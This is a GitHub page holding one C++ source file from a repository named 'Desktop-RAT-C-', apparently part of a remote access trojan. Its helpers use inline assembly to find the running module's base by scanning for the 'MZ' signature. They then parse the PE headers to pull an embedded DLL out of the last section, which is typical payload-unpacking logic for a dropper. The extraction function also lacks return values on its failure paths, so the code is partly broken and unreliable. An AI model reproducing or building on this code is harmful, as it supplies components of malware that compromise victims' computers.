Desktop-RAT-C-/tools.cpp at master · Ahm2001/Desktop-RAT-C- · GitHub

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#include"includes.h"

PVOID Tools::GetImageBase()
{
	PDWORD virtual_address = PDWORD(&GetImageBase);
	PDWORD image_base = NULL;

	__asm
	{

		mov eax, virtual_address
		and eax, 0xFFFF0000
		IterateImage:
		cmp WORD PTR[eax], 0x5A4D
			je EndIteration
			sub eax, 0x00010000
			jmp IterateImage
			EndIteration :
		mov[image_base], eax


	}

	return image_base;
}

PBYTE Tools::ExtractDllFile(PBYTE module_base, PDWORD module_size)
{

	PIMAGE_DOS_HEADER image_dos_header = (PIMAGE_DOS_HEADER)(module_base);
	if (image_dos_header->e_magic == IMAGE_DOS_SIGNATURE)
	{
		PIMAGE_NT_HEADERS image_nt_headers = (PIMAGE_NT_HEADERS)(module_base + image_dos_header->e_lfanew);

		if (image_nt_headers->Signature == IMAGE_NT_SIGNATURE)
		{

			PIMAGE_SECTION_HEADER fist_section = (PIMAGE_SECTION_HEADER)(IMAGE_FIRST_SECTION(image_nt_headers));
			PIMAGE_SECTION_HEADER dll_section = (PIMAGE_SECTION_HEADER)(fist_section + image_nt_headers->FileHeader.NumberOfSections - 1);

			if (dll_section != ERROR)
			{

				*module_size = dll_section->Misc.VirtualSize;
				return RtlOffsetToPointer(module_base, dll_section->VirtualAddress);

			}

		}
	}


}